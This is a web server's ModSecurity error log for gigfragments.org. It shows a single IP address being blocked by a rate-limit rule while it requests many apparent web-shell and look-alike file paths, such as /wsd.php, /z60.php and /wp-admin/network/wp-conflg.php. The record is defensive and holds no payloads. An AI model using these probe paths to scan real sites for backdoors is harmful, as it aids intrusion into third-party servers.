[Sun Dec 28 18:42:04.617718 2025] [:error] [pid 29388:tid 29414] [client 172.192.64.62:7053] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aVEJfNoLv2L2zI_SpdXM-wAAAVI"]
[Sun Dec 28 18:42:04.848179 2025] [:error] [pid 29436:tid 29444] [client 172.192.64.62:7049] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aVEJfLchzOOtNL9VPNLT-AAAAYU"]
[Sun Dec 28 18:42:05.116534 2025] [:error] [pid 29436:tid 29452] [client 172.192.64.62:6979] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aVEJfbchzOOtNL9VPNLT-gAAAY0"]
[Sun Dec 28 18:42:05.346369 2025] [:error] [pid 29436:tid 29445] [client 172.192.64.62:7164] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aVEJfbchzOOtNL9VPNLT-wAAAYY"]
[Sun Dec 28 18:42:05.607507 2025] [:error] [pid 42378:tid 42387] [client 172.192.64.62:7127] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aVEJfTgtcN-KHAjWrX8IlwAAAMc"]
[Sun Dec 28 18:42:05.930635 2025] [:error] [pid 42294:tid 42351] [client 172.192.64.62:7057] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aVEJfdTE5kYcYCOzl9GtmwAAAIE"]
[Sun Dec 28 18:42:06.172603 2025] [:error] [pid 29436:tid 29455] [client 172.192.64.62:7151] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aVEJfrchzOOtNL9VPNLT_gAAAZA"]
[Sun Dec 28 18:42:06.422931 2025] [:error] [pid 42292:tid 42311] [client 172.192.64.62:7065] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aVEJfpyOrM_vaFx1osY5FQAAAA8"]
[Sun Dec 28 18:42:06.653261 2025] [:error] [pid 29436:tid 29440] [client 172.192.64.62:7140] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aVEJfrchzOOtNL9VPNLT_wAAAYE"]
[Sun Dec 28 18:42:06.892039 2025] [:error] [pid 43789:tid 43793] [client 172.192.64.62:7116] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aVEJfga-tUppni4CcCYg1wAAAQI"]
[Sun Dec 28 18:42:07.225043 2025] [:error] [pid 42378:tid 42381] [client 172.192.64.62:7163] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aVEJfzgtcN-KHAjWrX8ImAAAAME"]
[Sun Dec 28 18:42:07.454511 2025] [:error] [pid 42294:tid 42359] [client 172.192.64.62:7041] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aVEJf9TE5kYcYCOzl9GtnAAAAIk"]
[Sun Dec 28 18:42:07.736668 2025] [:error] [pid 29437:tid 29485] [client 172.192.64.62:7062] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atx.php"] [unique_id "aVEJfxhDotAbVk6pZLeukAAAAdM"]
[Sun Dec 28 18:42:07.972070 2025] [:error] [pid 43789:tid 43797] [client 172.192.64.62:7056] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atx.php"] [unique_id "aVEJfwa-tUppni4CcCYg2QAAAQY"]
[Sun Dec 28 18:42:08.240616 2025] [:error] [pid 29388:tid 29402] [client 172.192.64.62:7138] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atx.php"] [unique_id "aVEJgNoLv2L2zI_SpdXM_QAAAUY"]
[Sun Dec 28 18:42:08.483161 2025] [:error] [pid 29388:tid 29397] [client 172.192.64.62:7102] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atx.php"] [unique_id "aVEJgNoLv2L2zI_SpdXM_wAAAUE"]
[Sun Dec 28 18:42:08.710987 2025] [:error] [pid 43789:tid 43798] [client 172.192.64.62:7104] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aVEJgAa-tUppni4CcCYg3AAAAQc"]
[Sun Dec 28 18:42:08.960503 2025] [:error] [pid 29388:tid 29400] [client 172.192.64.62:7132] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aVEJgNoLv2L2zI_SpdXNAQAAAUQ"]
[Sun Dec 28 18:42:09.198357 2025] [:error] [pid 43789:tid 43794] [client 172.192.64.62:7095] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aVEJgQa-tUppni4CcCYg3gAAAQM"]
[Sun Dec 28 18:42:09.431425 2025] [:error] [pid 29388:tid 29406] [client 172.192.64.62:7089] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aVEJgdoLv2L2zI_SpdXNAgAAAUo"]
[Sun Dec 28 18:42:09.659870 2025] [:error] [pid 29388:tid 29419] [client 172.192.64.62:7082] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aVEJgdoLv2L2zI_SpdXNAwAAAVc"]
[Sun Dec 28 18:42:09.968006 2025] [:error] [pid 29388:tid 29405] [client 172.192.64.62:7105] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aVEJgdoLv2L2zI_SpdXNBAAAAUk"]
[Sun Dec 28 18:42:10.275484 2025] [:error] [pid 29388:tid 29410] [client 172.192.64.62:7153] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aVEJgtoLv2L2zI_SpdXNBgAAAU4"]
[Sun Dec 28 18:42:10.589360 2025] [:error] [pid 43789:tid 43806] [client 172.192.64.62:7042] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aVEJgga-tUppni4CcCYg4gAAAQ8"]
[Sun Dec 28 18:42:10.816575 2025] [:error] [pid 42293:tid 42325] [client 172.192.64.62:7108] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aVEJgsvc9B-5cwN385LQ0AAAAEI"]
[Sun Dec 28 18:42:11.180815 2025] [:error] [pid 42293:tid 42323] [client 172.192.64.62:7100] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aVEJg8vc9B-5cwN385LQ0wAAAEA"]
[Sun Dec 28 18:42:11.467718 2025] [:error] [pid 29388:tid 29418] [client 172.192.64.62:7069] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aVEJg9oLv2L2zI_SpdXNCQAAAVY"]
[Sun Dec 28 18:42:11.786506 2025] [:error] [pid 29388:tid 29414] [client 172.192.64.62:6994] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aVEJg9oLv2L2zI_SpdXNCgAAAVI"]
[Sun Dec 28 18:42:12.028886 2025] [:error] [pid 42294:tid 42366] [client 172.192.64.62:7128] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aVEJhNTE5kYcYCOzl9GtnQAAAJA"]
[Sun Dec 28 18:42:12.332780 2025] [:error] [pid 29437:tid 29471] [client 172.192.64.62:7115] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aVEJhBhDotAbVk6pZLeukgAAAcU"]
[Sun Dec 28 18:42:12.701113 2025] [:error] [pid 29388:tid 29413] [client 172.192.64.62:7044] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aVEJhNoLv2L2zI_SpdXNCwAAAVE"]
[Sun Dec 28 18:42:12.940770 2025] [:error] [pid 42378:tid 42391] [client 172.192.64.62:6986] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aVEJhDgtcN-KHAjWrX8InAAAAMs"]
[Sun Dec 28 18:42:13.196306 2025] [:error] [pid 29436:tid 29446] [client 172.192.64.62:7084] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aVEJhbchzOOtNL9VPNLUAwAAAYc"]
[Sun Dec 28 18:42:13.449675 2025] [:error] [pid 42293:tid 42332] [client 172.192.64.62:7097] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aVEJhcvc9B-5cwN385LQ2wAAAEk"]
[Sun Dec 28 18:42:13.742254 2025] [:error] [pid 29436:tid 29441] [client 172.192.64.62:6928] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aVEJhbchzOOtNL9VPNLUBAAAAYI"]
[Sun Dec 28 18:42:14.032736 2025] [:error] [pid 29437:tid 29476] [client 172.192.64.62:7068] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aVEJhhhDotAbVk6pZLeulQAAAco"]
[Sun Dec 28 18:42:14.279019 2025] [:error] [pid 42292:tid 42304] [client 172.192.64.62:7079] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aVEJhpyOrM_vaFx1osY5FwAAAAg"]
[Sun Dec 28 18:42:14.590547 2025] [:error] [pid 42294:tid 42369] [client 172.192.64.62:7022] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aVEJhtTE5kYcYCOzl9GtnwAAAJM"]
[Sun Dec 28 18:42:14.904922 2025] [:error] [pid 42292:tid 42320] [client 172.192.64.62:7074] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aVEJhpyOrM_vaFx1osY5GAAAABg"]
[Sun Dec 28 18:42:15.222049 2025] [:error] [pid 42292:tid 42316] [client 172.192.64.62:7055] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aVEJh5yOrM_vaFx1osY5GQAAABQ"]
[Sun Dec 28 18:42:15.495400 2025] [:error] [pid 42292:tid 42312] [client 172.192.64.62:7046] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aVEJh5yOrM_vaFx1osY5GgAAABA"]
[Sun Dec 28 18:42:15.736329 2025] [:error] [pid 42292:tid 42313] [client 172.192.64.62:7096] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aVEJh5yOrM_vaFx1osY5HQAAABE"]
[Sun Dec 28 18:42:16.171608 2025] [:error] [pid 42292:tid 42298] [client 172.192.64.62:7162] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aVEJiJyOrM_vaFx1osY5HgAAAAI"]
[Sun Dec 28 18:42:16.444009 2025] [:error] [pid 29388:tid 29397] [client 172.192.64.62:7152] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aVEJiNoLv2L2zI_SpdXNDwAAAUE"]
[Sun Dec 28 18:42:16.856631 2025] [:error] [pid 42294:tid 42365] [client 172.192.64.62:6993] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aVEJiNTE5kYcYCOzl9GtoAAAAI8"]
[Sun Dec 28 18:42:17.141598 2025] [:error] [pid 43789:tid 43800] [client 172.192.64.62:7165] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aVEJiQa-tUppni4CcCYg6AAAAQk"]
[Sun Dec 28 18:42:17.486841 2025] [:error] [pid 42292:tid 42311] [client 172.192.64.62:7070] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aVEJiZyOrM_vaFx1osY5IgAAAA8"]
[Sun Dec 28 18:42:17.735034 2025] [:error] [pid 42292:tid 42302] [client 172.192.64.62:7004] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aVEJiZyOrM_vaFx1osY5IwAAAAY"]
[Sun Dec 28 18:42:18.032359 2025] [:error] [pid 42294:tid 42371] [client 172.192.64.62:7090] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aVEJitTE5kYcYCOzl9GtoQAAAJU"]
[Sun Dec 28 18:42:18.317909 2025] [:error] [pid 42292:tid 42296] [client 172.192.64.62:7038] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aVEJipyOrM_vaFx1osY5JQAAAAA"]
[Sun Dec 28 18:42:18.812880 2025] [:error] [pid 43789:tid 43807] [client 172.192.64.62:7094] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aVEJiga-tUppni4CcCYg6QAAARA"]
[Sun Dec 28 18:42:19.094889 2025] [:error] [pid 43789:tid 43805] [client 172.192.64.62:7077] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aVEJiwa-tUppni4CcCYg6gAAAQ4"]
[Sun Dec 28 18:42:19.416855 2025] [:error] [pid 29436:tid 29457] [client 172.192.64.62:7133] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aVEJi7chzOOtNL9VPNLUCAAAAZI"]
[Sun Dec 28 18:42:19.699746 2025] [:error] [pid 43789:tid 43795] [client 172.192.64.62:6977] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aVEJiwa-tUppni4CcCYg7QAAAQQ"]
[Sun Dec 28 18:42:20.001709 2025] [:error] [pid 42294:tid 42353] [client 172.192.64.62:7098] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aVEJjNTE5kYcYCOzl9GtpAAAAIM"]
[Sun Dec 28 18:42:20.259864 2025] [:error] [pid 42293:tid 42324] [client 172.192.64.62:7111] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aVEJjMvc9B-5cwN385LQ3QAAAEE"]
